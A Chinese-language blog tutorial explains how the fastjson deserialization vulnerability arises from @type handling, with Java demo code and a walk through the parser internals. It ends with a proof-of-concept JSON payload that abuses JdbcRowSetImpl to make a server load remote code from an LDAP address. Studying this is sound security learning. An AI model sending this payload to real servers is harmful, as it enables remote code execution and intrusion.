流浪水星
发布于 2025-08-23 / 18 阅读
0
0

反序列化漏洞

反序列化漏洞

fastjson反序列化漏洞就是把fastjson在解析json(反序列化)的过程中,支持使用@Type来实例化一个具体类,且自动调用这个类的set/get方法来访问属性。黑客通过查找代码中的get方法,来远程加载恶意命令,即造成反序列化漏洞,服务器的fastjson在处理json数据的过程中,没有对@type进行校验,攻击者就可以传入危险类,并且调用危险的类远程连接ldap/rmi服务,通过ldap/rmi服务上的恶意代码执行远程命令。

首先我们理一理序列化是啥,序列化就是把java对象转化成二进制数据流的过程,也就是变成byte(),然后对象是什么呢,就是用类定义的一个东西,类的化我们可以简单理解成类型,比如,我们在C语言里也可以struct一个类,然后我定义了这个类的一个对象,它可以调用这个类里面的方法,如下图所示

这个stu1和stu2就是对象,当然它可以实行更复杂的功能,当别人也需要这个功能时,我们就可以把这个对象序列化成二进制传输了,这就是序列化

反序列化就是把这个字节流在转换成我们对象的过程了

那这功能都是依靠什么来实现的呢

FastJson是一种高性能的Java JSON解析库,它采用类似于Jackson和Gson的JSON序列化和反序列化机制,但是速度更快。FastJson支持Java对象到JSON的序列化和JSON到Java对象的反序列化,同时支持对JSON字符串的高效解析。

我们把fastjson引入到我们的项目里

<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.75</version> </dependency>

再是把我们定义的对象序列化,用JSON.toJSONString()函数执行

User user = new User(); user.setId(1); user.setName("小敏"); user.setAge(18); String jsonStr = JSON.toJSONString(user); System.out.println(jsonStr);

这样我们可以打印出他的json字符串

我们再用下列代码实现反序列化

String jsonStr = "{"id":1,"name":"小敏","age":18}"; JSONObject jsonObject = JSON.parseObject(jsonStr); int id = jsonObject.getIntValue("id"); String name = jsonObject.getString("name"); int age = jsonObject.getIntValue("age"); System.out.println(id + ", " + name + ", " + age);

这个 jsonStr就是json格式的字符串,他表示id=1,name="小敏",age=8,然后定义个一个JSONObject类的 jsonObject对象,他代表 jsonStr反序列化得到的对象,通过JSON.parseObject()函数完成,稍微解释下这个,我们导入了fastjson库,里面有很多类吧,按道理我们使用类里面的方法就是的先new()一个对象出来在通过对象.方法来使用,这里的话parseObject()是JSON的static静态方法所以可以直接使用,下面再用函数接受我们要的变量了,就实现了反序列化

漏洞形成原理

fastjson在解析json(反序列化)的过程中,支持使用@Type来实例化一个具体类,且自动调用这个类的set/get方法来访问属性。黑客通过查找代码中的get方法,来远程加载恶意命令,即造成反序列化漏洞服务器的fastjson在处理json数据的过程中,没有对@type进行校验,攻击者就可以传入危险类,并且调用危险的类远程连接ldap/rmi服务,通过ldap/rmi服务上的恶意代码执行远程命令 z这里@type是什么意思呢

package FastJson;
​
public class Person {
    private String name;
    private int age;
public Person(String name, int age){this.name = name;this.age = age;}
 
public Person(){System.out.println("constructor");}
 
public String getName() {System.out.println("getName");return this.name;}
 
public void setName(String name) {System.out.println("setName");this.name = name;}
 
public int getAge() {System.out.println("getAge");return this.age;}
 
public void setAge(int age) { System.out.println("setAge");this.age = age;}
}

package FastJson;

import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject;

public class test { public static void main(String[] args) throws Exception{ String s = "{"@type":"FastJson.Person","age":18,"name":"abc"}"; JSONObject person = JSON.parseObject(s);

}

}

这是它的运行结果 constructor setAge setName getAge getName

可以看到FastJson在转换为对象的时候是通过getter和setter方法来实现赋值的,这里我们发现上述实现的方法,我们可以从客户端指定类型来实现,也就是所谓的@type具体实例化的意思。

调用了parse方法,方法处理后返回的就是一个对象了,最后转换成了JSONObject类型的对象,这个类型就是一个map。进parse方法看看。DefaultJSONParser就是对传入的字符串进行解析,在下面的parse方法中也是解析字符串,第一个字符是{,因此当作json对象解析,调用JSONObject。

这个函数中前面处理key,后面处理value,在处理key时会判断@符,有@就意味着要执行java的反序列化,类进行了loadClass加载。

这里第一步就是获取了javabean的反序列化器,然后用反序列化器进行反序列化操作。在创建类的反序列化器的时候,需要把类里面的东西进行了解,这里就通过build函数,我们再来看一下build函数。主要就是三部分,这里我折叠了,第一for循环获得所有setter方法,第二for循环获得所有public属性 ,第三个for循环获得所有getter方法。主要通过方法名长度,方法返回值来判断getter和setter,其中getter方法有要求,返回值必须是下面之一,且没有对应的setter方法。后续就会调用这些getter和setter。然后后面部分就会调用setter方法来讲传入的字符串中的值赋值给实例化的对象,哪些满足条件的getter方法也会调用。中间流程复杂就不讲了,直接跳到后面调用getter方法的地方。

最后是在get中调用了getter方法 ,这里的调用是会调用所有的getter方法的,包括哪些满足条件的getter方法就会调用两次。

再就是做链子了

connect方法中是标准的jndi注入,只要控制能控制this.getDataSourceName()的值,且这个connect方法在某个setter或者满足条件的getter中被调用即可。datasource可以通过set方法控制,connect方法可以通过set方法触发(get方法的返回值不是那几种)。因此链子就通了。

poc如下

package FastJson;

import com.alibaba.fastjson.JSON;

public class FastJsonjdbcrowsetimpl { public static void main(String[] args) { String s = "{"@type":"com.sun.rowset.JdbcRowSetImpl","DataSourceName":"ldap://127.0.0.1:8085/CNlBHEim","AutoCommit":"false"}"; JSON.parseObject(s); } }

题外话

然后它为什么使用byte接口,因为数据流,无论是byte[],还是xml,还是json它都属于是泛型类型,他就是byte公共接口的使用,文中涉及反射,具体讲就涉及就要写到几大泛型的源码分析,下期从lastjson扩张到log4j再聊聊它的最底层原理。


评论